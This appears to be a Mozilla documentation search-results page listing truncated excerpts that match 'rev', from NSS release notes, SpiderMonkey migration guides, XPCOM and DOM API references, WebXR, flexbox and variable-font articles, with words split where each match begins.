revocation status of a cert bug 412468: modify certutil bug 417092: modify pkix_certselector api to return an error if cert was rejected. bug 426413: audit messages need distinct types bug 438870: free freebl hashing code of dependencies on nspr and libutil bug 439115: db merge allows nickname conflicts in merged db bug 439199: sse2 instructions for bignum are not implemented on windows 3...
...clared isatty bug 471539: stop honoring digital signatures in certificates and crls based on weak hashes bug 471665: nss reports incorrect sizes for (aes) symmetric keys bug 471715: add cert to nssckbi to override rogue md5-collision ca cert bug 472291: crash in libpkix object leak tests due to null pointer dereferencing in pkix_build.c:3218. bug 472319: vfychain validates chain even if
revoked certificate. bug 472749: softoken permits aes keys of any length to be created bug 473147: pk11mode tests fails on aix when using shareable dbs. bug 473357: ssltap incorrectly parses handshake messages that span record boundaries bug 473365: incompatible argument in pkix_validate.c. bug 473505: softoken's c_initialize and c_finalize should succeed after a fork in a child process b...
...And 2 more matches
SpiderMonkey 1.8.5
platform support spidermonkey 1.8.5 is supported on all the platforms where firefox 4 runs. spidermonkey 1.8.5 includes a just-in-time compiler (jit) (several, actually) that compiles javascript to machine code, for a significant speed increase. it is supported only on x86, x86_64 and arm architectures. on other platforms, the jit is simply disabled; javascript code runs in an interpreter, as in p
revious versions. it's the same language, just not as fast. migrating to spidermonkey 1.8 the following features in earlier versions of spidermonkey have been dropped. support for extended class methods (in particular, jsequalityop) has been removed. multithreaded js programs that race against the same objects are now explicitly not supported. multithreaded programs are allowed, but each thread mu...
...threaded programs are allowed, but each thread must operate on objects in a separate compartment, isolated from the other threads. the old build system (using makefile.ref) is no longer supported. spidermonkey 1.8.5 includes a new configure-based build system, introduced shortly after active development on the engine moved from cvs to mercurial. spidermonkey 1.8.5 is not binary-compatible with p
revious releases, nor is it source-code compatible. many jsapi types, functions, and callback signatures have changed, though most of them still have the same names and do the same things. applications will need significant changes, but most of those changes will be detected by the c/c++ compiler, so they are easy to detect and updating the code is a fairly straightforward job. here is a list of the ...
...ce-code compatible. many jsapi types, functions, and callback signatures have changed, though most of them still have the same names and do the same things. applications will need significant changes, but most of those changes will be detected by the c/c++ compiler, so they are easy to detect and updating the code is a fairly straightforward job. here is a list of the most significant changes. p
revious versions of spidermonkey supported two types of native functions: jsnative and jsfastnative. all support for the slow native function type has been removed, and the fast signature has been renamed to jsnative. embeddings that defined jsnatives in p
revious versions must update all those functions to the new signature. getters and setters of type jspropertyop took an id parameter of type jsval...
...And 2 more matches
SpiderMonkey 38
it also contains new language and api features described in detail below. ...
...m supported version is msvc10/2010. spidermonkey 38 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase. it is supported on x86, x86_64, and arm architectures. on some other platforms (sparc, mips), the jit is provided but not supported. on all other platforms the jit is simply disabled; javascript code runs in an interpreter, as in p
revious versions. it's the same language, just not as fast. migrating to spidermonkey 38 .... xxx will need updating for actual new gc stuff at time! a major change to spidermonkey in 38 is that its apis support a moving garbage collector. this entailed changing the vast majority of the jsapi from raw types, such as js::value or js::value*, to js::handle and js::mutablehandle template types that...
...es have been specialized to implement the same interface as js::value, for simplicity and to ease migration pain. changes to introduce handles to the jsapi are not individually documented, because of the breadth of the changes involved. the following features in earlier versions of spidermonkey have been dropped. xxx list removed features here spidermonkey 38 is not binary-compatible with p
revious releases, nor is it source-code compatible. many jsapi types, functions, and callback signatures have changed, though most functions that have changed still have the same names and implement essentially unchanged functionality. applications will need significant changes, but most of those changes will be detected by the c/c++ compiler, so they are easy to detect and updating the code is a fai...
...And 2 more matches
Shell global objects
s are unwrapped first, so this can be used on objects from different globals. sleep(dt) sleep for dt seconds. compile(code) compiles a string to bytecode, potentially throwing. parsemodule(code) parses source text as a module and returns a module object. setmoduleresolvehook(function(module, specifier) {}) set the hostresolveimportedmodule hook to function. this hook is used to look up a p
reviously loaded module object. it should be implemented by the module loader. getmoduleloadpath() return any --module-load-path argument passed to the shell. used by the module loader. parse(code) parses a string, potentially throwing. syntaxparse(code) check the syntax of a string, returning success value offthreadcompilescript(code[, options]) compile code on a helper thread. to wait for t...
...return whether js caching is enabled. setcachingenabled(b) enable or disable js caching. cacheentry(code) return a new opaque object which emulates a cache entry of a script. this object encapsulates the code and its cached content. the cache entry is filled and read by the evaluate function by using it in place of the source, and by setting savebytecode and loadbytecode options. printprofile
revents() register a callback with the profiler that prints javascript profiler events to stderr. callback is only registered if profiling is enabled. enablesinglestepprofiling() this function will fail on platforms that don't support single-step profiling (currently everything but arm-simulator). when enabled, at every instruction a backtrace will be recorded and stored in an array. adjacent dupl...
...ed as a result of the given operation. each element is the name of the function invoked, or the string 'eval:filename' if the code was invoked by eval or something similar. drainjobqueue() take jobs from the shell's job queue in fifo order and run them until the queue is empty. setpromiserejectiontrackercallback() sets the callback to be invoked whenever a promise rejection is unhandled or a p
reviously-unhandled rejection becomes handled. functions available only in debug build disassemble([fun/code]) return the disassembly for the given function or code. all disassembly functions take these options as leading string arguments: -r disassemble recursively -l show line numbers -s omit source notes dis([fun/code]) disassemble functions into bytecodes. disfile('foo.
...And 2 more matches
Introduction to XPCOM for the DOM
this document is an introduction to the use of xpcom in the context of the dom code. the use of xpcom and nscomptr's described in this document covers about 80% of what you need to know to read the dom code, and even write some. for more advanced topics, please see the xpcom page. the tracking bug for this document is bug 99592. target audience: people who would like a quick introduction to the use of c++ and xpcom in the dom code. the understanding of the content of this document is a requirement to read the rest of the dom hacking guide. ...
... to those methods throughout your code. as opposed to a concreate class, an interface is supposed to be more stable through time. indeed, many interfaces in the mozilla code are frozen (this is indicated by the comment @frozen at the beginning of the interface definition). that means that the interface will never change anymore. the good thing is that your code will (in the best condition) last fo
rever. the bad thing is that we have to find a way to improve those interfaces, and freezing them obliges implementers to create new interfaces. in summary, manipulate an interface rather than its implementation whenever possible! a pointer to an interface nsifoo implemented by nsfoo can be declared as follows nsifoo *fooptr = new nsfoo; a pointer such as fooptr is then called a "pointer to an int...
..., i really mean a "pointer to an interface implemented by an instance of a concrete c++ class". the important thing to note is that a pointer to nsifoo can only call the methods defined on the nsifoo interface, and on its parents. for instance, if nsfoo implements two different interfaces, nsifoo and nsibar, a pointer to nsifoo cannot call the methods defined on nsibar and vice-versa. note: the p
revious paragraph is extremely important. if you haven't grasped it completely, there is no need to read further. reference counting basics xpcom uses a reference counting mechanism (refcount in short) to make sure that no object is deleted while interface pointers still point at that object. indeed, dereferencing a pointer that points to a deleted object can have bad consequences. that is why each...
...And 2 more matches
nsIAnnotationService
tant. type_double 2 double type constant. type_string 3 string type constant. type_binary 4 binary type constant. type_int64 5 int64 type constant. note: use of value "1" is omitted due to it's temporary use as expire_never in bug 319455. methods setpageannotation() this method sets an annotation for given uri, overwriting any p
revious annotation with the same url/name. it is your job to namespace your annotation names. use the form "namespace/value", so your name would be like "bills_extension/page_state" or "history/thumbnail". do not use characters that are not valid in urls such as spaces, ":", commas, or most other symbols. you should stick to ascii letters and numbers plus "_", "-", and "/". the annotation "favicon"...
...ntially violating their privacy expectations about actions such as clear history. if there is an important annotation that the user or extension wants to keep, you should add a bookmark for the page and use an expire_never annotation. this will ensure the annotation exists until the item is removed by the user. setitemannotation() this method sets an annotation for given item, overwriting any p
revious annotation with the same url/name. it is your job to namespace your annotation names. use the form "namespace/value", so your name would be like "bills_extension/page_state" or "history/thumbnail". do not use characters that are not valid in urls such as spaces, ":", commas, or most other symbols. you should stick to ascii letters and numbers plus "_", "-", and "/". the annotation "favicon"...
...aname the annotation name. avalue the annotation value. aflags should be "0" for now, some flags will be defined in the future. aexpiration one of the expire_* constant value defined above. note: all item annotations will get deleted when the bookmark is removed. setpageannotationstring() this method sets an annotation for given uri by taking a string as input value, overwriting any p
revious annotation with the same url/name. it is your job to namespace your annotation names. use the form "namespace/value", so your name would be like "bills_extension/page_state" or "history/thumbnail". do not use characters that are not valid in urls such as spaces, ":", commas, or most other symbols. you should stick to ascii letters and numbers plus "_", "-", and "/". the annotation "favicon"...
...And 2 more matches
nsMsgNavigationType
r nsmsgviewcommandtype = components.interfaces.nsmsgviewcommandtype; mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) constants name value description firstmessage 1 go to the first message in the view. nextmessage 2 go to the next message in the view. will wrap around if the wrap flag is set to true. p
reviousmessage 3 go to the p
revious message in the view. will wrap around if the wrap flag is set to true. lastmessage 4 go to the last message in the view. togglethreadkilled 5 must match nsmsgviewcommandtype togglethreadkilled. firstunreadmessage 6 go to the first unread message in the view. nextunreadmessage 7 go to the next unread message in the view. will wrap around if the wrap fla...
...the p
revious message in the view. will wrap around if the wrap flag is set to true. lastmessage 4 go to the last message in the view. togglethreadkilled 5 must match nsmsgviewcommandtype togglethreadkilled. firstunreadmessage 6 go to the first unread message in the view. nextunreadmessage 7 go to the next unread message in the view. will wrap around if the wrap flag is set to true. p
reviousunreadmessage 8 go to the p
revious unread message in the view. will wrap around if the wrap flag is set to true. lastunreadmessage 9 go to the last unread message in the view. ...
...dmessage 7 go to the next unread message in the view. will wrap around if the wrap flag is set to true. p
reviousunreadmessage 8 go to the p
revious unread message in the view. will wrap around if the wrap flag is set to true. lastunreadmessage 9 go to the last unread message in the view. ...
...And 2 more matches
Thunderbird Binaries
described below are three types of generally available thunderbird packages - releases, early p
review releases, and nightly builds (including trunk development builds) - and their downloaded locations. additionally, ad-hoc packages called try builds are made available on an as-needed basis to allow for testing of certain patches, and are typically announced in related bug reports. releases thunderbird releases have been extensively tested and are made available for anyone to download and use it. ...
...esting of certain patches, and are typically announced in related bug reports. releases thunderbird releases have been extensively tested and are made available for anyone to download and use it. ...
...eleases thunderbird releases have been extensively tested and are made available for anyone to download and use it. thunderbird current release can be downloaded from https://www.mozilla.org/thunderbird/ past thunderbird releases can be downloaded from https://releases.mozilla.org/pub/thunderbird/releases/ early p
review releases whilst writing new versions of thunderbird, developers release p
review versions, known as betas. ...
...And 2 more matches
Mozilla
an important aspect of developing code for any browser, including firefox, as well as any web-oriented project, is its security. these articles provide important guides and references to ensuring the code you write is secure, including both design recommendations and testing guidelines. bugzilla bugzilla.mozilla.org (often abb
reviated b.m.o) is mozilla.org's bug-tracking system, a database for recording bugs and enhancement requests for firefox, thunderbird, seamonkey, camino, and other mozilla.org projects. building mozilla in this article, we list documents that will guide you in building firefox or other projects based upon mozilla code. building spidermonkey wit...
... url, and the parameters that need to be passed to that url. creating reftest-based unit tests the reftest harness compares the display of two web pages. if the bitmaps resulting from displaying the two files in an 800x1000 window are identical, the test passes. if they differ, the test fails. or, alternatively, the conditions can be
reversed (a != test rather than an == test). the power of the tool comes from the fact that there is more than one way to achieve any given visual effect in a browser. so, if the effect of complex markup is being tested, put that complex markup into a page and create another page that uses simple markup to achieve the same visual effect. reftest will then compare them and verify whether t...
...about the mailnews backend which is also used in other projects such as eudora/penelope, thunderbird, correo, etc. setting up an update server the goal of this document is to provide instructions for installing a locally-served firefox update. signing mozilla apps for mac os x mac os x's gatekeeper functionality p
revents users from launching applications that haven't been code-signed, in order to help keep their computers secure. firefox and thunderbird releases are both signed before shipping; this article describes the process. supported build targets page moved to the in-tree documentation: https://firefox-source-docs.mozilla.org/build/builds...
...And 2 more matches
Debugger.Object - Firefox Developer Tools
on at all, this is undefined. boundarguments if the referent is a bound debuggee function, this is an array (in the debugger object’s compartment) that contains the debuggee values of the arguments object it was bound to. if the referent is either not a bound function, not a debuggee function, or not a function at all, this is undefined. isproxy if the referent is a (scripted) proxy, either
revoked or not, return true. if the referent is not a (scripted) proxy, return false. proxytarget if the referent is a non-
revoked (scripted) proxy, return a debugger.object instance referring to the ecmascript [[proxytarget]] of the referent. if the referent is a
revoked (scripted) proxy, return null. if the referent is not a (scripted) proxy, return undefined. proxyhandler if the referent is a ...
...if the referent is not a (scripted) proxy, return undefined. ...
...if the referent is not a (scripted) proxy, return undefined. promisestate if the referent is a promise, return a string indicating whether the promise is pending, or has been fulfilled or rejected. ...
...And 2 more matches
Transformations - Web APIs
until now, we only used the default grid and changed the size of the overall canvas for our needs. with transformations there are more powerful ways to translate the origin to a different position, rotate the grid and even scale it. saving and restoring state before we look at the transformation methods, let's look at two other methods which are indispensable once you start generating ever more complex drawings. save() saves the entire state of the canvas. restore() restores the most recently saved canvas state. canvas states are stored on a stack. every time the save() method is called, the current drawing state is pushed onto the stack. ...
...next we save this state and make cha...
...anvas" width="150" height="150"></canvas> draw(); the first step is to draw a large rectangle with the default settings. next we save this state and make changes to the fill color. we then draw the second and smaller blue rectangle and save the state. again we change some drawing settings and draw the third semi-transparent white rectangle. so far this is pretty similar to what we've done in p
revious sections. however once we call the first restore() statement, the top drawing state is removed from the stack, and settings are restored. if we hadn't saved the state using save(), we would need to change the fill color and transparency manually in order to return to the p
revious state. this would be easy for two properties, but if we have more than that, our code would become very long, very...
...And 2 more matches
CustomEvent - Web APIs
tomevent. properties customevent.detail read only any data passed when initializing the event. this interface inherits properties from its parent, event: event.bubbles read only a boolean indicating whether or not the event bubbles up through the dom. event.cancelbubble a historical alias to event.stoppropagation(). setting its value to true before returning from an event handler p
revents propagation of the event. event.cancelable read only a boolean indicating whether the event is cancelable. event.composed read only a boolean indicating whether or not the event can bubble across the boundary between the shadow dom and the regular dom. event.currenttarget read only a reference to the currently registered target for the event. this is the object to which the event is ...
...bubble across the boundary between the shadow dom and the regular dom. event.currenttarget read only a reference to the currently registered target for the event. this is the object to which the event is currently slated to be sent. it's possible this has been changed along the way through retargeting. event.deeppath an array of dom nodes through which the event has bubbled. event.defaultp
revented read only indicates whether or not the call to event.p
reventdefault() canceled the event. event.eventphase read only indicates which phase of the event flow is being processed. event.explicitoriginaltarget read only the explicit original target of the event (mozilla-specific.) event.originaltarget read only the original target of the event, before any retargetings. (mozilla-sp...
...d only the explicit original target of the event (mozilla-specific.) event.originaltarget read only the original target of the event, before any retargetings. (mozilla-specific.) event.returnvalue a historical property introduced by internet explorer and eventually adopted into the dom specification in order to ensure existing sites continue to work. ideally, you should try to use event.p
reventdefault() and event.defaultp
revented instead, but you can use returnvalue if you choose to do so. event.srcelement a non-standard alias (from old versions of microsoft internet explorer) for event.target. some other browsers are starting to support it for web compatibility purposes. event.target read only a reference to the target to which the event was originally dispatched. event.time...
...And 2 more matches
Element: auxclick event - Web APIs
a non-primary pointing device button (any mouse button other than the primary—usually leftmost—button) has been pressed and released both within the same element. auxclick is fired after the mousedown and mouseup events have been fired, in that order. ...
... after the mousedown and mouseup events have been fired, in that order. bubbles yes cancelable yes interface mouseevent event handler property onauxclick p
reventing default actions for the vast majority of browsers that map middle click to opening a link in a new tab, including firefox, it is possible to cancel this behavior by calling p
reventdefault() from within an auxclick event handler. ...
... additionally, you may need to avoid opening a system context menu after a right click. ...
...And 2 more matches
KeyboardEvent.getModifierState() - Web APIs
e modifiers except shift are active. if (event.getmodifierstate("control") + event.getmodifierstate("alt") + event.getmodifierstate("meta") > 1) { return; } // handle shortcut key with standard modifier if (event.getmodifierstate("accel")) { switch (event.key.tolowercase()) { case "c": if (event.getmodifierstate("shift")) { // handle accel + shift + c event.p
reventdefault(); // consume the key event } break; case "k": if (!event.getmodifierstate("shift")) { // handle accel + k event.p
reventdefault(); // consume the key event } break; } return; } // do somethig different for arrow keys if scrolllock is locked. if ((event.getmodifierstate("scrolllock") || event.getmodifierstate("scroll") /* hack...
...; } // do somethig different for arrow keys if scrolllock is locked. ...
...difierstate("control") && !event.getmodifierstate("alt") && !event.getmodifierstate("meta")) { switch (event.key) { case "arrowdown": case "down": // hack for ie and old gecko event.p
reventdefault(); // consume the key event break; case "arrowleft": case "left": // hack for ie and old gecko // do something different if scrolllock is locked. event.p
reventdefault(); // consume the key event break; case "arrowright": case "right": // hack for ie and old gecko // do something different if scrolllock is locked. ...
...And 2 more matches
Pointer events - Web APIs
events (mousedown/pointerdown, mousemove/pointermove, etc.). consequently, pointer event types are intentionally similar to mouse event types. additionally, a pointer event contains the usual properties present in mouse events (client coordinates, target element, button states, etc.) in addition to new properties for other forms of input: pressure, contact geometry, tilt, etc. in fact, the pointe
revent interface inherits all of the mouseevent properties, thus facilitating the migration of content from mouse events to pointer events. terminology active buttons state the condition when a pointer has a non-zero value for the buttons property. for example, in the case of a pen, when the pen has physical contact with the digitizer, or at least one button is depressed while hovering. active ...
...ific coordinate (or set of coordinates) on a screen. examples of pointer input devices are mouse, pen/stylus, and touch contacts. pointer capture pointer capture allows the events for a pointer to be retargeted to a particular element other than the normal hit test result of the pointer's location. pointer event a dom event fired for a pointer. interfaces the primary interface is the pointe
revent interface which has a constructor plus several event types and associated global event handlers. the standard also includes some extensions to the element and navigator interfaces. the following sub-sections contain short descriptions of each interface and property. pointe
revent interface the pointe
revent interface extends the mouseevent interface and has the following properties. (all of ...
... receives pointer capture. lostpointercapture onlostpointercapture fired after pointer capture is released for a pointer. element extensions there are three extensions to the element interface: setpointercapture() designates a specific element as the capture target of future pointer events. releasepointercapture() this method releases (stops) pointer capture that was p
reviously set for a specific pointer event. navigator extension the navigator.maxtouchpoints property is used to determine the maximum number of simultaneous touch points that are supported at any single point in time. examples this section contains examples of basic usage of using the pointer events interfaces. registering event handlers this example registers a handler for every event type f...
...And 2 more matches
SVGTransformList - Web APIs
_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. initialize(in svgtransform newitem) svgtransform clears all existing current items from the list and re-initializes the list to hold the single item specified by the parameter. if the inserted item is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. the return value is the item inserted into the list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. getitem(in unsigned long index) svgtransfor...
...ception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. insertitembefore(in svgtransform newitem, in unsigned long index) svgtransform inserts a new item into the list at the specified position. the first item is number 0. if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. if the item is already in this list, note that the index of the item to insert before is before the removal of the item. if the index is equal to 0, then the new item is inserted at the front of the list. if the index is greater than or equal to numberofitems, then the new item is appended to the e...
...t. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. replaceitem(in svgtransform newitem, in unsigned long index) svgtransform replaces an existing item in the list with a new item. if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list. the inserted item is the item itself and not a copy. if the item is already in this list, note that the index of the item to replace is before the removal of the item. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. ...
...And 2 more matches
Screen Wake Lock API - Web APIs
it allows for a simple platform based solution which up until now could only be achieved via workarounds which were potentially power hungry. only visible (active) documents can acquire the screen wake lock. ...
...es from dimming or locking the screen when an application needs to keep running. concepts and usage most devices by default turn off their screen after a specified amount of time to prolong the life of the hardware. modern devices do this to save on battery power. whilst this is a useful feature, some applications need the screen to stay awake to be their most useful. the screen wake lock api p
revents the screen from turning off, dimming or locking. it allows for a simple platform based solution which up until now could only be achieved via workarounds which were potentially power hungry. only visible (active) documents can acquire the screen wake lock. there are plenty of use cases for keeping a screen on, including reading an ebook, map navigation, following a recipe, presenting to an a...
...ore a reference to the sentinel object to control release later and also to reacquire the lock if need be. the screen wake lock api should be used to keep the screen on to benefit usability. it's a good idea to show some feedback on the interface to show if wake lock is active and a way for the user to disable it if they wish. screen wake lock api interfaces wakelock the wakelock interface p
revents device screens from dimming or locking when an application needs to keep running. wakelocksentinel provides a handle to the underlying platform wake lock and if referenced can be manually released and reacquired. get an instance of the object by calling wakelock.request. navigator.wakelock returns a wakelock object instance, from which all other functionality can be accessed. examples ...
...And 2 more matches
Multi-touch interaction - Web APIs
ependent as well as application specific var pinch_threshhold = ev.target.clientwidth / 10; if (diff1 >= pinch_threshhold && diff2 >= pinch_threshhold) ev.target.style.background = "green"; } else { // empty tpcache tpcache = new array(); } } } touch start handler the touchstart event handler caches touch points to support 2-touch gestures. it also calls p
reventdefault() to keep the browser from applying further event handling (for example, mouse event emulation). function start_handler(ev) { // if the user makes simultaneous touches, the browser will fire a // separate touchstart event for each touch point. thus if there are // three simultaneous touches, the first touchstart event will have // targettouches length of one, the second event will ...
...ying further event handling (for example, mouse event emulation). function start_handler(ev) { // if the user makes simultaneous touches, the browser will fire a // separate touchstart event for each touch point. thus if there are // three simultaneous touches, the first touchstart event will have // targettouches length of one, the second event will have a length // of two, and so on. ...
... function move_handler(ev) { // note: if the user makes more than one "simultaneous" touches, most browsers // fire at least one touchmove event and some will fire several touchmoves. // consequently, an application might want to "ignore" some touchmoves. ...
...And 2 more matches
Supporting both TouchEvent and MouseEvent - Web APIs
in response to the same user input. this section describes the requirement that may affect an application. if the browser fires both touch and mouse events because of a single user input, the browser must fire a touchstart before any mouse events. ...
...oth touch and mouse events because of a single user input, the browser must fire a touchstart before any mouse events. consequently, if an application does not want mouse events fired on a specific touch target element, the element's touch event handlers should call p
reventdefault() and no additional mouse events will be dispatched. here is a code snippet of the touchmove event handler calling p
reventdefault(). ...
... touchstart before any mouse events. consequently, if an application does not want mouse events fired on a specific touch target element, the element's touch event handlers should call p
reventdefault() and no additional mouse events will be dispatched. here is a code snippet of the touchmove event handler calling p
reventdefault(). ...
...And 2 more matches
A basic 2D WebGL animation example - Web APIs
canvas = null; // aspect ratio and coordinate system // details let aspectratio; let currentrotation = [0, 1]; let currentscale = [1.0, 1.0]; // vertex information let vertexarray; let vertexbuffer; let vertexnumcomponents; let vertexcount; // rendering data shared with the // scalers. ...
...in this case, we set the viewport based on the size of the <canvas>, call clearcolor() to set the color ...
...in this case, we set the viewport based on the size of the <canvas>, call clearcolor() to set the color to use when clearing content, then we clear the buffer with clear(). next, the current rotation vector is compute...
...And 2 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
\\ -2 \\ 0 \end{matrix} \right ] webxr automatically normalizes vectors to have a length of 1 meter; however, you may find that it makes sense to do it yourself for various reasons, such as to improve performance of calculations by not having to repeatedly perform normalization. once you've determined the matrix representing the combination of movements you wish the camera to make, you need to
reverse it, because you're not moving the camera. since you're actually moving everything except the camera, take the inverse of the transform matrix to get an inverse transform matrix. this inverse matrix can then be applied to the objects in the world to alter their positions and orientations to simulate the desired camera position. this is why the xrrigidtransform object used by webxr to represen...
...her than horizontally. panning is great for establishing a setting or providing a sense of scope in a vast space or on a vast object. or just for looking left and right, like simulating the player turning their head in an immersive or vr scenario. to do this, then, we need to rotate around the y axis, to simulate the left and right rotation of the camera. using the glmatrix library we've used p
reviously, this can be performed using the rotatey() method on the mat4 class, which represents a standard 4x4 matrix. to rotate the viewpoint defined by the matrix viewmatrix by panangle radians: mat4.rotatey(viewmatrix, viewmatrix, panangle); if panangle is positive, this transform will pan the camera to the right; a negative value for panangle will pan to the left. tilting (pitching up or down...
... as waves or turbulence, but can also be used for dramatic effect. to accomplish this rotation around the z axis using glmatrix: mat4.rotatez(viewmatrix, viewmatrix, cantangle); combining movements you can perform multiple movements at once, such as zooming while panning, or tilting and canting at the same time. translating along multiple axes translating along multiple axes is quite easy. p
reviously, we performed our translations like this: mat4.translate(viewmatrix, viewmatrix, [-trackdistance, 0, 0]); mat4.translate(viewmatrix, viewmatrix, [0, -pedestaldistance, 0]); mat4.translate(viewmatrix, viewmatrix, [0, 0, dollyydistance]); the solution here is obvious. since the translation is expressed as a vector providing the distance to move along each axis, we can combine them like thi...
...And 2 more matches
Geometry and reference spaces in WebXR - Web APIs
nstodegrees(), which convert back and forth between the two units for measuring angles. const radians_per_degree = math.pi / 180.0; let degreestoradians = (deg) => deg * radians_per_degree; let radianstodegrees = (rad) => rad / radians_per_degree; times and durations note that for security reasons, domhighrestimestamp usually introduces a small amount of imprecision to the clock in order to p
revent it from being used in fingerprinting and timing-based attacks. all times and durations in webxr are measured using the domhighrestimestamp type, which is a double-precision floating-point value specifying the time in milliseconds relative to the starting time. since the value is a floating-point number, it may be accurate to well better than the millisecond level, depending on the platform an...
...re measured using the domhighrestimestamp type, which is a double-precision floating-point value specifying the time in milliseconds relative to the starting time. since the value is a floating-point number, it may be accurate to well better than the millisecond level, depending on the platform and hardware. time is primarily used to determine the amount of time that's elapsed since the scene's p
revious animation frame was drawn. as such the time is typically in alignment with the refresh rate of the display, or some fraction thereof if the frame rate needs to be constrained due to performance issues. this means that the time will usually step in 1/60th of a second intervals, assuming a 60 fps frame rate. doing the math, we find that this means that each frame will ideally be rendered 16.666...
...nted reality (ar), this is because of the need to insert virtual objects into the real world, not only placing them correctly but also ensuring that they don't seem to wander around on their own as the user's perspective shifts. in virtual reality (vr), it's all about creating a sense of space in which the user's movements are precisely matched by the imagery presented on the virtual display, to p
revent disjoints and disconnects that could cause discomfort or worse. thus it's all about creating a sense of space. from the perspective of an xr developer, designing the stage is the part that matters most to your users. like an architect or a set designer, you have the power to create moods and experiences through a physical environment. how you structure that space will both depend on and influ...
...And 2 more matches
Using the Web Animations API - Web APIs
cally set values from properties to durations. for building custom animation libraries and creating interactive animations, the web animations api might be the perfect tool for the job. let's see what it can do! browser support the basic web animations api features discussed in this article are available by default in firefox 48+ and chrome 36+. safari supports web animations in its technology p
review version and there is also a handy polyfill that tests for feature support and adds it where necessary. writing css animations with the web animations api one of the more familiar ways to approach learning the web animations api is to start with something most web developers have played with before: css animations. css animations have a familiar syntax that breaks down nicely for demonstratio...
...the web animations api provides several useful methods for controlling playback. let’s take a look at pausing and playing animations in the growing/shrinking alice game (check out the full code on codepen): in this gam...
...mation later, but for now, let’s look closer at the cupcake’s animation: var nommingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); the element.animate() method will immediately run after it is called. to p
revent the cake from eating itself up before the user has had the chance to click on it, we call animation.pause() on it immediately after it is defined, like so: nommingcake.pause(); we can now use the animation.play() method to run it whenever we’re ready: nommingcake.play(); specifically, we want to link it to alice’s animation, so she gets bigger as the cupcake gets eaten. we can achieve ...
...And 2 more matches
Using XMLHttpRequest - Web APIs
ts.join(odata.technique === 2 ? "\r\n" : "&")); } } } function processstatus (odata) { if (odata.status > 0) { return; } /* the form is now totally serialized! do something before sending it to the server... */ /* dosomething(odata); */ /* console.log("ajaxsubmit - the form is now serialized. ...
...} } } function processstatus (odata) { if (odata.status > 0) { return; } /* the form is now totally serialized! do something before sending it to the server... */ /* dosomething(odata); */ /* console.log("ajaxsubmit - the form is now serialized. ...
... transmitted data is in the same format the form's submit() method uses to send data, if the form's encoding type were set to "multipart/form-data". formdata objects can be utilized in a number of ways with an xmlhttprequest. for examples, and explanations of how one can utilize formdata with xmlhttprequests, see the using formdata objects page. ...
...And 2 more matches
ARIA Test Cases - Accessibility
est files could be used as an "aria test file". new tests for internet explorer 8 rc1 on this msdn page the aria state/role mapping in ie8 to msaa roles can be directly checked. also, as a clever feature for at testing, the firing of events (like event_object_statechange) can be invoked from the examples. finally, a list of currently non-mapped aria roles is given. documenting and filing bugs
review the information on how to file a bug on an aria implementation. when documenting an issue, please also list it in the relevant compatibility table below. when possible provide a link to the bug in the database so that its status can be
reviewed. widget test cases alert simple alert complex alert real alert example with aria-required and aria-invalid -- type in a email address without an...
...s pass zoomtext - - - - orca - - - - description description for groupbox and for button (al) note: the description role is no longer necessary as long as aria-describedby is used; however, this test case is still useful for testing aria-describedby. expected at behavior: when any control is focused inside the groupbox, where focus was p
reviously outside of the groupbox, the description for the entire groupbox should be read by a screen reader. when the button is focused, the description of the button should be read after the button's label and role are read by the screen reader. regression testers should test both tabbing forward and back, to make sure that the groupbox description and button description are both read when the bu...
... upon initial focus, the label (if present), and role of the tree itself should be spoken, followed by the current tree item's information. when a tree item is read, the screen reader should announce its label, role, state and "item n of m" positional information. the state includes whether it is expandable and expanded/open. as focus is moved, outp...
...And 2 more matches
Basic concepts of flexbox - CSS: Cascading Style Sheets
you need to think in terms of two axes — the main axis and the cross axis. the main axis is defined by the flex-direction property, and the cross axis runs perpendicular to it. everything we do with flexbox refers back to these axes, so it is worth understanding how they work from the outset. the main axis the main axis is defined by flex-direction, which has four possible values: row row-
reverse column column-
reverse should you choose row or row-
reverse, your main axis will run along the row in the inline direction. choose column or column-
reverse and your main axis will run from the top of the page to the bottom — in the block direction. the cross axis the cross axis runs perpendicular to the main axis, therefore if your flex-direction (main axis) is set to row or row-r...
... understanding which axis is which is important when we start to look at aligning and justifying flex items; flexbox features properties that align and justify content along one axis or the other. ...
...ll items will stretch along the cross axis to fill its full size. you can see in the live example below how this looks. try editing the items or adding additional items in order to test the initial behavior of flexbox. changing flex-direction adding the flex-direction property to the flex container allows us to change the direction in which our flex items display. ...
...And 2 more matches
Variable fonts guide - CSS: Cascading Style Sheets
at it is up to date. for example linux oses need the latest linux freetype version, and macos prior to 10.13 does not support variable fonts. if your operating system is not up to date, you will not be able to use variable fonts in web pages or the firefox developer tools. variable fonts: what they are, and how they differ to better understand what's different about variable fonts, it is worth
reviewing what non-variable ones are like and how they compare. standard (or static) fonts in the past, a typeface would be produced as a number of individual fonts, and each font would represent one specific width/weight/style combination. so you would have separate files for 'roboto regular', 'roboto bold', and 'roboto bold italic' — meaning that you could end up with 20 or 30 different font fi...
...h a variable font, all of those permutations can be contained in a single file. that file would be larger than a single font, but in most cases smaller or about the same size as the 4 you might load for body copy. the advantage in choosing the variable font is that you have access to the entire range of weights, widths, and styles available, rather than being constrained to only the few that you p
reviously would have loaded separately. this allows for common typographic techniques such as setting different size headings in different weights for better readability at each size, or using a slightly narrower width for data-dense displays. for comparison, it is typical in a typographic system for a magazine to use 10–15 or more different weight and width combinations throughout the publication...
